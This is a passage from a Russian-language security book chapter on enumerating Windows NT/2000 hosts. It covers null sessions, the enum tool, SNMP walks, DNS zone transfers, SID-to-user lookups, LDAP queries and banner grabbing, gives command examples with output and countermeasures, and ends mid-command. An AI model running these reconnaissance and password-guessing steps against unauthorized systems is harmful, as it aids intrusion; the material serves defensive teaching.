        Программа nbtdump Дэвида Литчфилда (David Litchfield) (http://www.cerberus-infosec.uk/toolsn.shtml) позволяет использовать нулевые сеансы, выполнять поиск данных о совместно используемых ресурсах и пользовательских учетных записях, а, кроме того, полученные результаты представляет в прекрасном отчете HTML.

        Универсальное средство инвентаризации: утилита еnum



        Эта утилита была разработана группой Razor компании Bindview. В ней реализованы возможности всех других средств инвентаризации NetBIOS. Разработчики назвали эту программу enum, и это очень подходит для данной главы. Утилиту enum можно найти по адресу http://razor.bind-view.com. В приведенном ниже листинге представлены возможные Параметры командной строки. Из листинга видно, насколько всесторонние возможности предоставляет эта утилита.

        D:\Toolbox>enum
        использование: enum [параметры] [имя_узла|IP-адрес]
        -U: получить список пользователей
        -М: получить список узлов
        -N: получить дамп имен (в отличие от -U|-M)
        -S: получить список совместно используемых ресурсов
        -Р: получить данные о принятой политике шифрования паролями
        -G: получить список групп и их членов
        -L: получить данные о политике LSA
        -D: взлом с использованием словаря, требуется -и и -f
        -d: с детализацией, применяется к -U и -S
        -с: не прерывать сеанс
        -и: задает имя пользователя (по умолчанию "")
        -р: задает пароль (по умолчанию "")
        -f: задает файл словаря (для -D)

        Утилита enum позволяет автоматически устанавливать и завершать нулевой сеанс. Отдельного упоминания заслуживает параметр -Р, предоставляющий информацию о принятой политике шифрования паролями. С его помощью взломщики могут оценить возможность удаленного определения пользовательских паролей (с помощью параметров -о, -и и -£) до того момента, как будет найден наиболее легкий из них. Более подробно утилита еnum будет рассматриваться в следующем разделе, посвященном инвентаризации учетных записей пользователей NT/2000.

        Инвентаризация NetBIOS: контрмеры



        Практически во всех рассмотренных выше приемах задействуется механизм передачи данных NetBIOS, так что при запрещении доступа к портам TCP и UDP с 135 до 139 все попытки получения информации окажутся неудачными. Для этого лучше всего заблокировать доступ к этим портам с использованием маршрутизатора, брандмауэра или любого другого устройства управления доступом. В разделе, посвященном нулевым сеансам, вы узнали, как запретить использование протокола NetBIOS поверх TCP/IP и нужным образом настроить параметр системного реестра RestrictAnonymous. Это позволит предотвратить опасность извлечения важных данных посредством установки анонимных соединений. Однако правильное конфигурирование параметра RestrictAnonymous не способно заблокировать запросы, сгенерированные с использованием команд net view и nbtstat. Кроме того, не забывайте о том, что в системе Win 2000 некоторую информацию можно получить и через порт TCP/UDP с номером 445, так что доступ к этом порту также целесообразно заблокировать.

         Инвентаризация SNMP NT/2000



        Даже если вы сделали все, чтобы предотвратить доступ к службам NetBIOS, с компьютера NT/2000 по-прежнему можно получить аналогичную информацию, если на нем запушен агент SNMP (Simple Network Management Protocol). Доступ к этому агенту можно получить с помощью строки доступа public, используемой по умолчанию. В таких случаях инвентаризация пользователей NT через протокол SNMP с помощью программы sranputil из комплекта NTRK превращается в увеселительную прогулку как в прямом (от английского слова walk ("пройтись"), фигурирующего в качестве параметра), так и в переносном смысле.

        С:\>snmputil walk 192.168.202.33
        public .1.3.6.1.4.1.77.1.2.25

        Variable = .iso.org.dod.
        internet.private.enterprises.lanmanager.
        lanmgr-2.server.svUserTable.
        svUserEntry.svUserName.5.
        71.117.101.115.116 Value = OCTET STRING - Guest
        Variable = .iso.org.dod.internet.
        private.enterprises.lanmanager.
        lanmgr-2.server. svUserTable.svUserEntry.svUserName.13.
        65.100.109.105.110.105.115.116.114.97.116.111.114
        Value=OCTET STRING - Administrator
        End of MIB subtree.

        В приведенном выше примере запуска утилиты snmputil последний параметр (.1.3.6.1.4.1.77.1.2.25)— это идентификатор объекта (OID — Object Identifier), который в соответствии с требованиями протокола SNMP определяет ветвь информационной управляющей базы (MIB — Management Information Base) компании Microsoft. База MIB — это иерархическое пространство имен, поэтому "прогулка" по всему дереву (т.е. использование менее точного значения, например .1.3.6.1.4.1.77) приведет к получению слишком больших объемов информации. Запомнить все номера довольно сложно, поэтому взломщик, скорее всего, ограничится их строковыми эквивалентами. Ниже перечислены некоторые сегменты MIB, с помощью которых можно получить соответствующую информацию (для этого необходимо добавить тот или иной сегмент к .iso.оrg.dod.internet.private.enterprises.lanmanager.lanmgr-2).

        Сегмент MIB
        Выводимая информация
        .server. svSvcTable.
        svSvcEntry.svSvcName

        Запушенные службы
        .server.svShareTable.
        svShareEntry.svShareName

        Имена совместно используемых ресурсов
        . erver.svShareTable.
        svShareEntry.svSharePath

        Путь к совместно используемым ресурсам
        .server.svShareTable.
        svShareEntry.svShareComment

        Комментарии к совместно используемым ресурсам
        .server.svUserTable.
        svUserEntry.svUserName

        Имена пользователей
        .domain.domPrimaryDomain
        Имя домена

        Конечно, можно избавиться от рутинной работы по вводу столь длинных параметров. Для этого достаточно найти в Internet (например, по адресу http: //www.solar winds.net) прекрасный SNMP-броузер с именем IP Network Browser, предоставляющий всю перечисленную выше информацию в наглядной форме. На рис. 3.3 показано, как программа IP Network Browser проверяет сеть на наличие в ней компьютеров, на которых используется протокол SNMP.



        Рис. 3.3. Утилита IP Network Browser компании Solar Winds позволяет получить подробную информацию о компьютере, на котором запущен агент SNMP. Для этого достаточно правильно указать строку доступа (community string). Б данном примере показана система, использующая заданную по умолчанию строку доступа public

        Контрмеры: защита протокола SNMP



        Самый простой способ предупреждения такой деятельности состоит в удалении агента SNMP или в отключении службы SNMP с помощью аплета Services панели управления. Если данный вариант вам не подходит, то как минимум убедитесь в том, что доступ к данной службе правильно настроен и используется строка доступа private, а не установленная по умолчанию строка public. Можно также отредактировать системный реестр, чтобы разрешить только санкционированный доступ к службе SNMP и запретить передачу информации NetBIOS о системе. Для этого запустите программу regedt32 и найдите параметр HKLM\ SystemNCurrentControlSet\Services\ SNMP\Paramaters\ValidConununities. Выберите команду Permissions>Security и установите в открывшемся диалоговом окне значение таким образом, чтобы разрешить доступ только аутентифицированным пользователям системы. Затем перейдите к разделу HKLM\System\CurrentControlSet\ Services\SNMP\ ParametersNExtensionAgents, удалите значение, содержащее строку LANManagerMIB2Agent, а затем переименуйте остальные параметры, чтобы восстановить правильную последовательность. Например, если вы удалили параметр с номером 1, переименуйте параметры 2, 3, 4 и т.д. в 1, 2, 3 и т.д.
        Кроме того, если вы используете протокол SNMP для управления сетью, заблокируйте доступ к портам TCP и LJDP с номерами 161 и 162 (SNMP GET/SET) по всему периметру граничных устройств управления доступом. Как мы еще неоднократно увидим в этой и последующих главах, разрешение передачи внутреннего потока SNMP за пределы сети — это очень серьезная угроза безопасности. Более подробная информация о протоколе SNMP приводится в соответствующих документах RFC, которые можно найти по адресу http://www.rfc-editor.org.

        Перенос зоны DNS Win 2000



        Как было показано в главе 1, одной из основных целей предварительного сбора информации является получение данных о системе доменных имен (DNS), используемой в Internet, и преобразование IP-адресов узлов в дружественные имена, такие как amazon.com. Поскольку пространство имен активного каталога основывается на использовании службы DNS, компания Microsoft полностью обновила реализацию сервера DNS в Win 2000, чтобы удовлетворить всем новым потребностям.
        Для обеспечения клиентам возможности поиска служб домена Wind 2000, например служб активного каталога и Kerberos, в Win 2000 имеется запись DNS SRV (RFC 2052), позволяющая определить местонахождение сервера по типу службы (например, LDAP, FTP или WWW) и протоколу (например, TCP/IP). Таким образом, при выполнении простого переноса зоны (nslookup, Is -d <имя-домвна>) можно получить самую разную информацию, как показано в следующем примере, в котором осуществляется перенос зоны домена labf arce. org. (Для краткости и повышения читабельности листинг был отредактирован.)

        D:\Toolbox>nslookup
        Default Server: corp-dc.labfarce.org
        Address: 192.168.234.110
        > Is -d labfarce.org
        [[192.168.234.110]]
        labfarce.org. SOA corp-dc.
        labfarce,org admin.
        labfarce.org. A 192.168.234.110
        labfarce.org. NS corp-dc.labfarce.org
        _gc._tcp SRV priority=0, weight=100, port=3268,
        corp-dc. labfarce.org
        _kerberos._tcp SRV priority=0, weight=100, port=88,
        corp-dc. labfarce.org
        _kpasswd._tcp SRV priority=0, weight=100, port=464,
        corp-dc. labfarce.org
        _ldap._tcp SRV priority=0, weight=100, port=389,
        corp-dc. labfarce.org

        Согласно спецификации RFC 2052, запись SRV имеет следующий формат.
        Service.Proto.Name TTL Class SRV Priority Weight Port Target
        Из этой информации взломщик может получить некоторые сведения, а именно местоположение доменной службы глобального каталога (Global Catalog) (_gc._tcp), контроллеров домена, на которых используется аутентификация по протоколу Kerberos (_kerberos._tcp), серверов LDAP (_ldap._tcp), а также связанные с ними номера портов (в данном случае представлены лишь порты TCP).

        Блокирование переноса зоны DNS Win 2000



        К счастью, в системе Win 2000 служба DNS реализована таким образом, что можно без проблем ограничить перенос зоны, как показано ниже на рисунке. На нем представлено диалоговое окно свойств зоны поиска в прямом направлении (в данном случае для сервера labf arce. org). Для того чтобы открыть это окно, запустите консоль управления Computer Management и откройте элемент Server Applications and Services\DNS\<имя_cepверa>\Forward Lookup Zones\[имя_зоны], а затем выберите команду Properties.


        Нетрудно догадаться, что по умолчанию в системе Windows 2000 разрешен перенос зоны по любому запросу. Можно полностью запретить перенос зоны, просто сбросив флажок Allow zone transfers, однако более реалистично было бы предположить, что на резервных серверах DNS информация должна регулярно обновляться. Так что в диалоговом окне свойств зоны можно установить и менее ограничивающий режим.


        2.gif

        Изображение: 

        3.gif

        Изображение: 

        4.gif

        Изображение: 

        5.gif

        Изображение: 

        6.gif

        Изображение: 

        4. Инвентаризация пользователей и групп NT/2000



        Инвентаризация пользователей и групп NT/2000


        Знать имена компьютеров и совместно используемых ресурсов совсем неплохо, однако настоящим праздником для хакера является получение имен пользователей. С того момента, как получено такое имя, можно считать, что 50% работы по взлому учетной записи выполнено. Некоторые специалисты считают, что на самом деле после получения имени пользователя остается затратить гораздо меньше усилий, поскольку распространенной практикой является использование простых паролей (и, вообще говоря, имен учетных записей!).
        Мы снова попробуем открыть нулевой сеанс (который уже упоминался в этой главе) для получения начального доступа и попробуем воспользоваться различными приемами инвентаризации. Кроме того, вы узнаете, как извлечь информацию о пользователях с использованием службы SNMP и службы активного каталога Windows 2000.

        Инвентаризация пользователей через протокол NetBIOS



        К сожалению, неправильно сконфигурированные компьютеры NT/2000 предоставляют информацию о пользователях с такой же готовностью, как и о совместно используемых ресурсах. Это неоднократно демонстрировалось при рассмотрении приемов инвентаризации NetBIOS. В данном разделе вы еще раз столкнетесь с уже известными и познакомитесь с новыми средствами, которые очень хорошо подходят для получения информации о пользователях.
        Ранее уже рассматривались возможности встроенной в операционную систему утилиты nbtstat и ее дополнения — свободно распространяемой программы nbtscan. Обе утилиты позволяют получить дамп удаленной таблицы имен NetBIOS, и, что очень важно, при этом не требуется открывать нулевой сеанс. Так что имена пользователей будут получены независимо от того, правильно ли установлено значение параметра RestrictAnonymous системного реестра.
        Утилита еnum группы разработчиков Razor (которая уже упоминалась выше) автоматически устанавливает нулевое соединение и извлекает всю наиболее ценную информацию, о которой только может мечтать взломщик. Следующий пример, демонстрирующий всю опасность подобных действий, для краткости был отредактирован.

        D:\Toolbox>enum -U -d -Р -L -с 172.16.41.10
        server: 172.16.41.10
        setting up session... success,
        password policy: rain length: none
        lockout threshold: none
        opening Isa policy... success. names:
        netbics: LABFARCE.COM
        domain: LA3FARCE.COM
        trusted domains:
        SYSOPS
        PDC: CORP-DC
        netlogon done by a PDC server
        getting user list {pass 1, index 0)... success, got 11.
        Administrator (Built-in account for administering
        the computer/domain)
        attributes:
        chris attributes:
        Guest (Built-in account for guest access to the computer/domain)
        attributes: disabled
        keith attributes: Michelle attributes:

        Утилита enum позволяет также определить удаленный пароль одного пользователя за один раз с использованием параметров-о -и <имя-пользователя> -f <файл-словаря>.
        В комплекте NTRK имеется еще несколько инструментов, с помощью которых можно получить более подробную информацию о пользователях (через нулевой сеанс или другими способами). К таким утилитам относятся usrstat, showgrps, local и global. Однако наиболее мощным средством получения информации о пользователях является утилита DumpSec. Она позволяет получить список пользователей, групп, используемых системных политиках и правах пользователей NT. В следующем примере утилита DumpSec используется в командной строке для получения файла с информацией о пользователях удаленного компьютера (не забывайте о том, что эта утилита требует открытия нулевого сеанса).

        C:\>dumpsec /computer=\\192.168.202.33 /rpt=usersonly
        /saveas=tsv /outfile=c:\temp\users.txt

        C:\>cat c:\temp\users.txt
        4/3/99 8:15 PM - Somarsoft DumpSec - \\192.168.202.33
        UserName FullName Comment
        barzini Enrico Barzini Rival mob chieftain
        godfather Vito Corleone Capo
        godzilla Administrator Built-in account for administering the
        domain
        Guest Built-in account for guest access
        lucca Lucca Brazzi Hit man
        mike Michael Corleone Son of Godfather

        При использовании графического интерфейса утилиты DumpSec можно получить отчет с гораздо большим количеством полей, однако даже формат приведенного выше примера обычно позволяет выявить нарушителя. Например, однажды мы натолкнулись на сервер, на котором пароль для переименованной учетной записи администратора хранился в поле FullName. При задании правильного значения параметра RestrictAnonymous все попытки извлечения такой информации с помощью утилиты DumpSec будут блокироваться.

        Идентификация учетных записей с помощью утилит user2sid/sid2user



        Двумя другими чрезвычайно мощными средствами инвентаризации NT/2000 являются утилиты sid2user и user2sid, написанные Евгением Рудным (Evgenii Rudnyi). Эти утилиты командной строки позволяют получить идентификатор защиты пользователя (SID — Security ID) no его идентификатору и наоборот. SID — это числовое значение переменной длины, назначаемое системой NT во время установки. Хорошее описание структуры и функций SID приведено в статье Марка Русиновича (Mark Russinovich). После получения с помощью утилиты user2sid идентификатора SID домена взломщик может использовать его для извлечения соответствующих имен пользователей. Например

        C:\>user2sid \\
        192.168.202.33 "domain users"

        S-l-5-21-8915387-1645822062-1819828000-513
        Number of subauthorities is 5
        Domain is WINDOWSNT
        Length of SID in memory is 28 bytes
        Type of SID is SidTypeGroup

        Таким образом, мы получили SID компьютера, представляющий собой строку, начинающуюся с S-1 и нескольких чисел, разделенных дефисами. Последнее число последовательности называется относительным идентификатором (RID — Relative ID), значение которого для встроенных групп и пользователей Windows NT/2000, таких как Administrator или Guest, определено по умолчанию. Например, RID пользователя Administrator всегда равен 500, а пользователя Guest — 501. Вооружившись этой информацией, хакер может с помощью утилиты sid2user и RID 500, добавленного к SID, узнать имя пользователя, являющегося администратором, даже если учетная запись Administrator была переименована.

        C:\>sid2user \\192.168.2.33 5 21
        8915387 1645822062 18198280005 500

        Name is godzilla
        Domain is WINDOWSNT
        Type of SID is SidTypeUser

        Обратите внимание, что префикс S-1 и дефисы опущены. Еше одним интересным фактом является то, что первой учетной записи, созданной в любой локальной системе или домене NT/2000, присваивается RID 1000, а каждому последующему объекту — следующий номер (1001, 1002, 1003 и т.д.), причем при удалении объекта его номер уже никогда не используется при создании новых объектов. Таким образом, узнав лишь SID, хакер может получить сведения практически обо всех пользователях и группах системы, работающей под управлением Windows NT/2000, как в прошлом, так и в настоящем. Самое важное, что утилиты sid2user и user2sid работают даже в тех случаях, когда включен режим RestrictAnonumous (см. выше) — лишь бы только был открыт порт 139. Есть над чем подумать, не так ли?

        Пример сценария, который можно использовать для применения утилит sid2user/user2sid, содержится ниже в разделе "Позвольте Сценариям Выполнить Всю Работу".


        Инвентаризация пользователей через протокол NetBIOS: контрмеры



        Хотя меры защиты против рассмотренных выше приемов инвентаризации уже рассматривались, не лишним будет упомянуть о них еще раз.
        Для блокировки запросов к таблице имен NetBIOS с помощью таких утилит, как nbtstat и nbtscan, лучше всего запретить доступ к TCP- и UDP-портам с номерами 135-139 и 445. В противном случае данные о пользователям можно защитить лишь одним способом — запретив использование служб Alerter и Messenger на отдельных узлах. Способ запуска этих служб при загрузке компьютера можно задать с помощью аплета Services панели управления.
        Зашита данных, которые можно получить путем открытия нулевого сеанса с использованием утилиты DumpSec, может быть обеспечена при установке соответствующего значения (типа REG_DWORD, 1 для NT4 и 2 для Win 2000) для параметра RestrictAnonymous системного реестра. Его можно найти в поддереве HKLM\SYSTEM\CurrentControlSet\ Control\LSA.
        Предотвратить попытки извлечения данных с помощью утилит sid2user/user2sid можно лишь одним способом, а именно запретив доступ к портам 139 и 445.

        Инвентаризация пользовательских учетных записей с помощью протокола SNMP



        Не забывайте о том, что компьютеры под управлением системы Windows, на которых запущен агент SNMP, будут предостаапять информацию об учетных записях таким средствам, как, например, утилита IP Network Browser от компании Solar Winds (см. рис. 3.3 выше в данной главе). Более подробные сведения о мерах защиты против инвентаризации SN М Р содержатся в предыдущем разделе.

        Инвентаризация службы активного каталога .'#." Win 2000 с помощью утилиты ldp



        Наиболее существенным изменением, внесенным компанией Microsoft в свою новую операционную систему Win 2000, является добавление в нее службы каталогов, работа которой основана на протоколе LDAP (Lightweight Directory Access Protocol — упрошенный протокол доступа к каталогам). Компания Microsoft называет эту службу активные каталогом (Active Directory). В активном каталоге содержится унифицированное логическое представление всех объектов корпоративной сети. С точки зрения инвентаризации, активный каталог является прекрасным источником извлечения требуемой информации. Среди разнообразных средств поддержки Windows 2000 (которые можно найти на установочном компакт-диске серверной версии в папке Support\Tools) имеется простой клиент LDAP (ldp.exe), предназначенный для администрирования активного каталога.
        Летом 1999 года авторы этой книги принимали участие в тестировании средств обеспечения безопасности системы Windows 2000. При этом было обнаружено, что просто задав для утилиты Idp контроллер домена Win 2000, с помощью простого запроса LDAP можно провести инвентаризацию всех существующих пользователей и групп. Для этого требуется лишь открыть аутентифицированный сеанс на основе протокола LDAP. Если с помощью других средств взломщику удалось получить в свое распоряжение какую-либо учетную запись, то протокол LDAP предоставляет альтернативный механизм инвентаризации пользователей, если заблокированы порты NetBIOS или отсутствуют другие службы.
        В следующем примере иллюстрируется использование утилиты дdp для инвентаризации пользователей и групп контроллера домена bigdc.labfarce.org, имеющего корневой контекст активного каталога oc=labfarce, DC=org. При этом предполагается, что ранее уже был получен пароль учетной записи Guest этого контроллера — guest.


        1. Во-первых, необходимо подключиться к целевому компьютеру с использованием утилиты ldp. Для этого выберите команду Connection>Connect и введите IP-адрес или доменное имя целевого сервера. Можно подключиться к LDAP-порту с номером 389, который используется по умолчанию, или использовать порт 3268 службы глобального каталога. В данном случае применяется порт 389.
        2. После установки соединения необходимо зарегистрироваться в качестве пользователя Guest, данные о котором были получены ранее. Для этого выберите команду Connections>Bind, убедитесь, что установлен флажок Domain и в соответствующем поле введено корректное имя домена, а затем введите имя и пароль, как показано на рисунке.
        3. После успешного открытия сеанса LDAP можно приступать к инвентаризации пользователей и групп. Выберите команду View>Tree и введите в появившемся диалоговом окне корневой контекст (например, dc=labfarce, dc=org).
        4. В левой панели появится новый элемент. После щелчка на символе +, расположенном слева от него, в левой панели под корневым элементом появится несколько основных объектов.
        5. Наконец после двойного щелчка на элементах CN=Users и CN=Builtin в левой панели диалогового окна появится перечень пользователей и встроенных групп сервера, соответственно (рис. 3.4).



        Рис. 3.4. Утилита ldp.exe, средство администрирования активного каталога, позволяет выполнить инвентаризацию пользователей активного каталога через аутентифицированное соединение

        Благодаря чему с помощью простого гостевого подключения можно извлечь подобную информацию? Некоторым службам (таким как RAS и SQL Server) системы NT4, требуется получать информацию об объектах групп и пользователей, содержащуюся в активном каталоге. Процедура установки активного каталога Win 2000 (dcpromo) предоставляет возможность расширить разрешения на доступ к активному каталогу и предоставить их серверам более ранних версий для получения требуемой информации (рис. 3.5). Если в процессе установки был выбран этот режим, то объекты пользователей и групп будут доступны для инвентаризации через протокол LDAP.

        Инвентаризация службы активного каталога: контрмеры



        Первое и самое важное, что необходимо осуществить, это контролировать доступ к TCP-портам с номерами 389 и 3268 по границам сети. Если в ваши задачи не входит предоставление данных активного каталога всему миру, запретите несанкционированный доступ к нему.
        Для того чтобы предотвратить утечку информации в те части сети, у которых нет разрешений на использование дерева активного каталога, ограничьте соответствующим образом эти разрешения. Различие между смешанным режимом (который следует понимать как "менее безопасный") и основным режимом работы системы Win 2000 определяется членством в группе Pre-Windows 2000 Compatible Access, которой по умолчанию предоставлены разрешения на использование активного каталога (см. табл. 3.2).

        Таблица 3.2. Paзрешения на использование бъектов дерева активного калога для группы Pre-Wind ows 2000 Compatible Access

        Объект
        Разрешения
        К каким объектам применяется
        Корневой каталог
        Просмотр содержимого
        К данному и всем дочерним объектам
        Пользователи
        Просмотр содержимого, чтение всех свойств и разрешений
        К объектам пользователей
        Группы
        Просмотр содержимого, чтение всех свойств и разрешений
        К объектам групп

        При выборе режима Permissions compatible with pre-Windows 2000 servers (рис. 3.5) мастером установки активного каталога в группу Pre-Windows 2000 Compatible Access автоматически будет добавлена группа Everyone. В специальную группу Everyone входят все аутентифицированные пользователи. Если группу Everyone удалить из группы Pre-Windows 2000 Compatible Access (а затем перезагрузить контроллеры домена), то домен будет функционировать с более высокой степенью безопасности, что обеспечивается основным режимом работы Windows 2000. Если по каким-либо соображениям требуется снизить уровень защиты, то группу Everyone необходимо добавить снова, запустив в командной строке следующую команду.
        net localgroup "Pre-Windows 2000 Compatible Access" everyone /add



        Рис. З.5. Мастер установки службы активного каталога Win 2000 (dcpromo) предоставляет возможность расширить разрешения на доступ к активному каталогу и предоставить их серверам более ранних версий

        Более подробная информация содержится в статье Q240855 базы данных (Knowledge Base) компании Microsoft, которую можно найти по адресу http: //search.support. microsoft.com.
        Механизм управления доступом, определяемый членством в группе Pre-Windows 2000 Compatible Access, применяется также и к запросам, генерируемым при использовании открытых сеансов NetBIOS. Подтверждением этого может служить следующий пример, где снова используется утилита enum (описанная выше). Первый раз эта утилита запущена для инвентаризации сервера Win 2000 Advanced Server, на котором в группу Pre-Windows 2000 Compatible Access входит группа Everyone.

        D:\Toolbox>enum -U corp-dc
        server: corp-dc
        setting up session... success.
        getting user list (pass 1, index 0)... success, got 7.
        Administrator Guest IUSR_CORP-DC IWAM_CORP-DC krbtgt
        NetShowServices TsInternetUser cleaning up... success.

        Теперь удалим группу Everyone из группы Pre-Windows 2000 Compatible Access, выполним перезагрузку и запустим тот же самый запрос.

        D:\Toolbox>enum -U corp-dc
        server: corp-dc
        setting up session... success.
        getting user list (pass 1, index 0)... fail
        return 5, Access is denied.
        cleaning up... success.

        Серьезно рассмотрите вопрос обновления всех серверов RAS (Remote Access Service— спужба удапенного доступа), RRAS (Routing and Remote Access Service — спужба маршрутизации и удапенного доступа) и SQL и установки на них системы Windows 2000 перед тем, как перейти на испопьзование спужбы активного катапога. Это позвонит забпокировать возможность случайного просмотра информации об учетных записях.



        7.gif

        Изображение: 

        8.gif

        Изображение: 

        9.gif

        Изображение: 

        5. Инвентаризация приложений и идентификационных маркеров



        Инвентаризация приложений и идентификационных маркеров


        Выше были рассмотрены вопросы инвентаризации сети и учетных записей пользователей. При этом для достижения требуемого результата применимы различные средства, встроенные в саму операционную систему. А как насчет получения списка приложений, установленных на компьютере NT/2000? Подобная информация способна значительно расширить знания об исследуемой системе. Процесс подключения к удаленным приложениям и наблюдение за результатами их использования часто называется сбором маркеров (banner grabbing) и может оказаться неожиданно информативным для взломщиков. Если говорить кратко, то в процессе сбора маркеров можно идентифицировать программное обеспечение, запущенное на сервере, и его версию. А этого во многих случаях будет вполне достаточно, чтобы начать поиск уязвимых мест.

        Основы процесса сбора маркеров: утилиты telnet и netcat



        Испытанным и надежным инструментом инвентаризации идентификационных маркеров и приложений как в мире NT, так и в мире UNIX, является утилита telnet. Установив с ее помощью соединение с известным портом исследуемого сервера, нажмите несколько раз клавишу <Enter> и посмотрите полученный результат.

        C:\>telnet www.corleone.com 80
        HTTP/1.0 400 Bad Request Server: Netscape-Commerce/I.12
        Your browser sent a non-HTTP compliant message.

        Этот метод срабатывает для многих популярных приложений, использующих указанный порт (попробуйте его для порта HTTP 80, SMTP 25 или FTP 21, который особенно информативен при исследовании сервера под управлением Windows).
        Если вам нужен инструмент для более тщательных исследований, попробуйте "швейцарский армейский нож" протокола TCP/IP — утилиту netcat, которая изначально была написана хакером Хоббитом (Hobbit, http: //www.avian.org), а затем перенесена на платформу NT Вельдом Пондом (Weld Pond) из группы LOpht, занимающейся исследованиями в области безопасности (иными словами — это хакеры, являющиеся "хорошими парнями"). Утилиту netcat можно найти по адресу http://www.10pht.com/-weld/netcat/index.html. Это еще одна утилита, которая вполне заслуживает места на Аллее Славы любого администратора NT. С другой стороны, это означает, что когда ею пользуется злоумышленник, последствия могут оказаться поистине разрушительными. Ниже мы рассмотрим один из простейших примеров применения утилиты netcat — подключение к TCP-порту удаленного компьютера. 

        C:\>nc -v www.corleone.com 80 
        www.corleone.com [192.168.45.7] 80 (?) open

        В таких ситуациях ввод даже небольшого количества данных приводит к получению отклика со стороны удаленного узла. В данном случае, при нажатии клавиши <Enter> мы получим следующие результаты.

        НТТР/1.1 400 Bad Request
        Server: Microsoft-IIS/4.О
        Date: Sat, 03 Apr 1999 08:42:40 GMT
        Content-Type: text/html
        Content-Length: 87
        <html><headxtitle>Error</title></headxbody>
        The parameter is incorrect. </bodyx/html>

        Полученная информация способна существенно сузить область поиска подходов к проникновению в исследуемую систему. Теперь, когда известен производитель и версия программного обеспечения Web-сервера, взломщики могут сосредоточиться на методах, специфичных для данной платформы, и перебирать хорошо проверенные приемы до тех пор, пока один из них не достигнет цели. Таким образом, время начинает работать на злоумышленника, а не в пользу администратора. Мы еще не раз остановимся на методах применения утилиты netcat, в том числе и для извлечения дополнительной информации при инвентаризации UNIX. Этот вопрос будет рассматриваться в следующем разделе.

        Сбор идентификационных маркеров NT/2000: контрмеры



        Защита от такого рода попыток проведения инвентаризации требует от администратора некоторой доли изобретательности. Однако мы не можем определить с достаточной степенью определенности, насколько важна для взломщиков информация о приложениях и службах, работающих в вашей сети.
        Во-первых, проверьте все важные приложения и попытайтесь найти способ, с помощью которого можно было бы предотвратить предоставление информации о производителе и номере версии в идентификационных маркерах. Регулярно проверяйте свою сеть, сканируя порты и подключаясь с помощью утилиты netcat к выявленным активным портам, чтобы убедиться в том, что из сети не уходит даже незначительная часть информации, которая может представлять интерес для потенциального взломщика.

        Инвентаризация системного реестра NT/2000



        Другой механизм получения информации о приложениях NT/2000 подразумевает получение копии содержимого системного реестра исследуемого компьютера. Практически все современные приложения, корректно установленные на компьютере NT, оставляют более или менее заметные "следы" в системном реестре. Требуется лишь знать, где производить поиск требуемой информации. Кроме того, злоумышленник, получивший доступ к системному реестру, может почерпнуть из него немало сведений о пользователях и параметрах конфигурации. Запасшись изрядной долей терпения, в лабиринте ульев можно обнаружить сведения, которые позволят получить доступ к нужной информации. К счастью, в системе NT/2000 доступ к системному реестру по умолчанию разрешен лишь администраторам (по меньшей мере в ее версии для сервера). Таким образом, описываемый ниже метод обычно неприменим при использовании анонимных нулевых соединений. Однако из этого правила существует одно исключение, когда в ключе HKLM\System\Current-ControlSet\Control\SecurePipeServer\ Winreg\AllowedPaths заданы другие параметры, открытые для доступа посредством нулевых сеансов. В этом случае по умолчанию доступ разрешен к ключу HKLM\software\Microsoft\windowsNT\ CurrentVersion.
        Для выполнения этой задачи можно воспользоваться либо утилитой regdmp, входящей в состав NTRK, либо уже известной нам утилитой DumpSec компании Somarsoft.
        Возможности утилиты regdmp весьма ограничены и, по сути дела, сводятся к получению дампа всего системного реестра (или отдельных ключей, заданных в командной строке). Хотя обычно удаленный доступ к системному реестру разрешен только администраторам, зловредные хакеры, как правило, все же пытаются получить ключи, надеясь, что им повезет. Ниже приведен пример запроса, в результате которого можно выяснить, какие приложения автоматически запускаются при загрузке системы Windows. Зачастую хакеры помешают в этот ключ ссылки на утилиты, организующие скрытый вход в систему, например утилиту NetBus (см. главы 5 и 14).

        С:\> regdmp -m \\192.168.202.33
        HKEY_LOCAL_MACHINE\SOFTWARE\
        Microsoft\Windows\CurrentVersion\Run

        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
        CurrentVersion\Run
        SystemTray = SysTray.Exe
        BrowserWebCheck = loadwc.exe

        Программа DumpSec позволяет получить результат в более привлекательной форме (рис. 3.6), однако в большинстве случаев он ничем не отличается от результатов применения утилиты regdmp. В отчете утилиты DumpSec содержатся сведения обо всех службах и драйверах ядра Win32 удаленной системы, как работающих, так и не работающих (в соответствии с установленными разрешениями). Полученная информация может подсказать злоумышленнику, в каком направлении необходимо сосредоточить усилия при планировании вторжения и его реализации. Не забывайте о том, что при использовании программы DumpSec требуется открытие нулевого сеанса.



        Рис. 3.6. Утилита DumpSec позволяет получить информацию обо всех службах и драйверах, запушенных на удаленном компьютере

        Контрмеры против сбора идентификационных маркеров и инвентаризации системного реестра



        Убедитесь, что системный реестр заблокирован и к нему нельзя получить доступ с использованием удаленных соединений. Для этого необходимо проверить возможность удаленного доступа к ключу HKLM\System\CurrentControlSet\SecurePipe Servers \winreg и всем связанным с ним подключам. Если этот ключ присутствует, то по умолчанию удаленный доступ к реестру разрешен лишь администраторам. Этот ключ по умолчанию присутствует только в версии Win NT/2000, предназначенной для сервера, но не для рабочей станции. В дополнительных подключах задаются определенные пути системного реестра, разрешающие доступ независимо от политики обеспечения безопасности, принятой для ключа winreg. Более подробная информация об этом приведена в статье Q155363 базы данных компании Microsoft, которую можно найти по адресу http://search.support.microsoft.com. Кроме того, воспользуйтесь каким-нибудь хорошим средством, например программой DumpSec, и удостоверьтесь в отсутствии утечки информации.


        10.gif

        Изображение: 

        6. Позвольте сценариям выполнить всю работу



        Позвольте сценариям выполнить всю работу


        Вы подробно познакомились с ручными методами, которые взломщик может предпринять для инвентаризации сети, пользователей и получения данных о приложениях. Вполне понятно, что многие после прочтения материала, приведенного выше, забеспокоились и сразу же приступили к тестированию своих сетей на предмет поиска уязвимых мест. Однако это может оказаться трудноразрешимой задачей, если ваша сеть большого размера с множеством серверов. К счастью, большинство из описанных в данном разделе средств можно запускать из командной строки и, следовательно, легко автоматизировать их использование с помощью простых командных сценариев или других приемов.
        Далее приводится простой пример сценария для команд user2sid/sid2user, рассмотренных выше. Как уже упоминалось, для возможности использования такого сценария сначала необходимо определить идентификатор S1D исследуемой системы, воспользовавшись утилитой user2sid и нулевым сеансом. Вспомните, что в системе NT/2000 новым учетным записям назначаются идентификаторы RID, начиная с 1000. Затем для получения данных о пятидесяти учетных записях можно воспользоваться следующим циклом, реализовав его с помощью оператора оболочки FOR и команды sid2user. 

        C:\>for /L %i
